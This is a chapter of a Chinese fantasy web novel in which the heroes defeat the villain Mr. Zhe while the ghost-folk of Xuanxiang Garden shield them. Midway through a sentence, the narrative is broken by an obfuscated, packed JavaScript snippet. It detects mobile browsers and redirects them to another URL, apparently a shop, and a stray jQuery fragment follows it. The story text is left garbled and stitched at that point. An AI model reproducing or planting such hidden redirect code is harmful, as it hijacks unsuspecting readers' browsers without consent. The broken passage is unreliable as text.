每说一句话，者先生的双肩就更为颤动一分。


    他目眦欲裂，扬起的头因气愤而止不住地抖动着，眼底血红遍布，面色阴沉。


    他没错。


    他不可能有错。


    就算是真的神又能怎样？神死了，这个世间就只能奉他为神！


    眼前这个高高在上的百生神官，掌管百生虚多年，早就该当够了！


    者先生咬牙，看着面前这个消失殆尽近百年的所谓神官，不觉得他今天能有足够的力量制裁自己。


    双手缓缓抬起，者先生操控时间的招式可谓是炉火纯青，纪安望着他的动作，不明所以地微微皱眉，尽力定下心来，想着应对招式。


    在不属于自己的时间里，者先生想要他死简直易如反掌，但现在……他同样也能在所谓时间中自由穿梭不是吗？


    “九幽——杀了他”


    察觉到体内有一股不属于自己的力量正在悄然涌动，抗拒不了的带着他开口，纪安咽了咽喉咙，低声发号施令。


    只见，者先生刚刚蓄好的力还未来得及发出，变换的时间也骤地停了下来，刹那间，九幽身形如剑，用自身无数个坚硬碎片抖悬于半空，随后都朝着者先生的方向穿刺而去。


    眼前光晕实在太强，纪安没忍住闭了闭眼，耳边不多时传来者先生的闷闷哼声，接着，九幽如割风利刃，瞬而回到了自己身边。


    再一睁眼时，眼前场景再次变化，不过幸运的是，这一次，他们回到了正常的时间流逝阶段，夙隗墨也回到了自己身边。


    者先生无力的手撑在地，嘴角淌着血泉，一刻不停的向外涌着，滴落在地。


    “你不是他……你怎么可能……”


    他口齿不清的喃喃着什么，纪安听了个大概，也差不多能参透其中的意思。


    在虚境里，者先生叫他百生神官。现在，者先生又否定了自己刚才的看法。


    纪安短促的吐了口气，心想，自己当然不是什么百生神官，不过……能如此轻易的将者先生制服，应该也少不了这位百生神官命定的相助。


    更为奇怪的是，向前倒推如此长时间的九幽，虽然依旧还把他认作主人，但纪安有种直觉，当时的一主一契，总没像现在这样相处的自然，倒像是中间隔着什么难以言说的情绪一样。


    纪安撇嘴，并不打算追究这些。


    “我们直接将他逼回现实世界，并没有在现实虚境里和他感同身受，会不会有什么影响？”纪安有点担心，怕者先生的魂魄不能照常的被收拢。


    沈烬无所谓的轻耸了下肩，说：“他将我们提前带进现实虚境里，就已经做好了鱼死网破的准备”


    “现在他活不了了，自然就相当于那片虚境已经破了”


    听罢这话，纪安还没来得及松一口气，身前的者先生又开始诡谲的狂笑了起来。


    那笑声渗人骨髓，纪安猛地想起，轩香苑内，那个四方小房子他们还未涉足过。


    果不其然，者先生用了所剩下的最后力气，不知道在召唤着什么，无数团能锁人鼻息的黑气从轩香苑上空直直地冲出，他们像是长了眼睛并且经受过什么训练一样，一半稍有停驻，另一半向着他们迅疾飞来。


    察觉不对的聂玉峰刚走出轩香苑的陈旧木门，还没弄清楚眼前是个什么事态，狂劲的冷风钻进脊背骨髓，瞬间，聂玉峰的眼白被染黑一片，他像个被抽掉意识的傀儡躯壳，摆正脑袋后亦步亦趋的抬脚向前走着，每走一步，就会有更多的黑气钻进他的身体里。


    “这些都是散魂”夙隗墨拦下四人身前的一波又一波，下定结论：“锻月阁分给轩香苑的几缕魂魄，都在这里了”


    纪安茫然的抬头去看，惊讶于者先生竟然能把一双手就能数清的魂魄划分成这样无穷无尽的旁支来，一时没了反应。


    “打不完……能打完吗？”纪安半路刹车，不确定地问道。


    “总会有个限度，但现在他只是想拖住我们而已”夙隗墨将目光定在速度不慢的聂玉峰身上，看他魔怔着向前走，似是在魂丝的驱使下向前逃离。


    “江燎！去追！”夙隗墨一锤定音，推着织命将几人掩护到了者先生身后的那条路，叫江燎先一步阻止已经被控制了的聂玉峰。


    沈烬紧随其后，留下纪安和夙隗墨两个暂做延缓，他仰头一瞬望着数也数不清的团团黑气，很快的皱了下眉头，狠狠叹声，头也不回的走了。


    原本的澈蓝天空此刻被污染，劲风呼啸着，吹倒了家家户户门前才晾晒好的草药，不算坚固的门被吹的晃荡，一下一下地拍到了折角墙上，眼前一片狼藉，但更让纪安感到头疼的是，轩香苑的人鬼百生竟然不顾外面异样，一个接一个的迎头抵风，纷纷向着他们现在所在的方位而来。


    做什么……快回去——！


    心里无声的呐喊着，飞身集中魂魄的九幽也在半空中顿了一顿，它忽的扭身，将视线放到了那间还在源源不断释放黑气的小屋上。


    纪安正有此意，好在夙隗墨现在时刻挡在身前，纪安一秒不犹豫的向着集中地靠近，为了减少阻力，九幽已然是成了细小带尖的形状，拖着纪安将他成功放到屋顶上。


    手中握刃，九幽悬滞的那一刹那，纪安凝聚全身力气，铆足了劲向着这间小小房屋用力刺下，骤地，巨大的冲击力迎面回弹到纪安身上，他下意识地闭上了眼睛，但身体陡然变得无比轻盈，那一刻，就连呼吸也止不住地停了。


    “纪安——！”


    夙隗墨转眼功夫，既是纪安仰着身被弹下屋顶的那瞬间。


    乍然，想要赶快恢复可以接住纪安形态的九幽与夙隗墨情急之下甩出去的织命从不同方向急窜出去，纪安缓而掀起一条缝隙的眼睛在看到织命时就想张嘴呼喊，但却没了机会。


    落在织命轻软的身体里，被包裹着撞进九幽上后，纪安在失去意识的最后一秒，喃声轻呼——


    夙隗墨。


    没了法器的一时傍身，这些没有承载体的魂魄争先恐后的融进了夙隗墨这具活靶子的身体里，心脏骤然加快，血脉喷张，夙隗墨手臂上的青筋暴起，就要撑破皮肤炸出来，他攥紧了拳头，终于在确保纪安无事后，将那股难以压抑的暗血呕了出来。


    ……


    那群轩香苑的人鬼像是看不清这边的局势一样，还在争先恐后的向着这个方向赶来，夙隗墨吃力地抬眼望了望，那里面，好像


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190374|194296||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    还有着半大孩童的身影。


    者先生的最后力量还未用尽，确切地说，在现实虚境里面所使出来的一切都被削减了不少，所以就算者先生的最后结局是死，但在死之前，谁也不知道他所剩下的法力能维持多久。


    不死，就要继续。


    夙隗墨膝盖点地，勉强地撑着手肘想站起来，只是不多时，可见的视线范围内多了一道身影，紧接着就是第二道、第三道……


    众人鬼，在他身前竖起了一面墙。


    包裹着纪安的九幽此刻身形巨大，因为里面的人受伤的缘故，它不再适合灵巧变换主动攻击，而是缓缓落于夙隗墨的身后，金光环绕，肃穆矗立。


    来到身前的人鬼越来越多，一层又一层的叠着，老人把儿子往身后赶，壮年将妻子推到身后去，妇人又把孩童静竖其间……


    夙隗墨喉咙处的撕裂感越来越弱，几乎要感受不到，他眸底尽是惊讶的迷茫，尽管嘴角处还淌着不止的血流，但此刻，除了眼前攒动的人影，他感受不到其他分毫。


    不过，对此唯一的解释，是随着者先生的法力消散，轩香苑的人鬼均已恢复记忆。


    可这些人的脸上均无怨怼，亦无愤怒，他们甚至平静非常，泰山不崩。


    “你们享我者先生几十年恩惠，如今竟站在了我的对立面”


    者先生……或者叫李正，气息有些微弱，虽是怒其不争的语气，但说出来时，却已经没了什么气势了。


    讲书先生微微一笑，却不带嘲讽意味，只是垂下眼皮，不偏不倚的中肯道：“若无你的父亲，我将山坡的人鬼或许活不到现在；若无你者先生，我轩香苑的百生就无今日安宁”


    者先生惊然一顿。


    “无论是将山坡的百生前辈，还是如今轩香苑的在世人鬼，既是从多年前就遗留下来的难题，那我们心甘情愿供你赎罪”


    “只是我们之间的纠葛，尚不能波及旁的人”


    这位先生泰然自若，虽老态龙钟，但面如春风，语调温柔平和。


    “没错”为首的妇人发了话，却也不似之前在轩香苑门口吵架时那样咄咄逼人：“我丈夫被你抓去炼药，人死不能复生，我当是为了远久的将山坡还你一分公道，现在，百名男子皆以如你所愿，还请者先生，高抬贵手”


    “我们因你父亲的庇护而活下来，现在，只要能不波及这几位青年，老朽就先行替轩香苑众人鬼向者先生道一句：谢高抬贵手”


    数不清的人鬼一同弯下了背脊，而夙隗墨垂肩站着，眼前接连弯下的腰身就像是被铺好的一条生路，他目光踏着这条生路，和眼中悲怆恨绝的者先生相视一眼，沉寂无声。


    将山坡、轩香苑。在同一片土地上长大的百生怎么会不一样呢？


    ……是啊，其实他们自始至终都是一样的。


    自始至终，只有自己才是那个异类，甚至是区别于自己父亲的异类。


    者先生眼眶处倔强的泛起了泪，他自觉不争的拧了把眉，自嘲的笑笑，仰着头去望在天空中横行的无数鬼魂。


    他名李正，浩气凛然，行事中正。


    从他开始和恶鬼鬼魂混在一起的那一刻，他名者先生。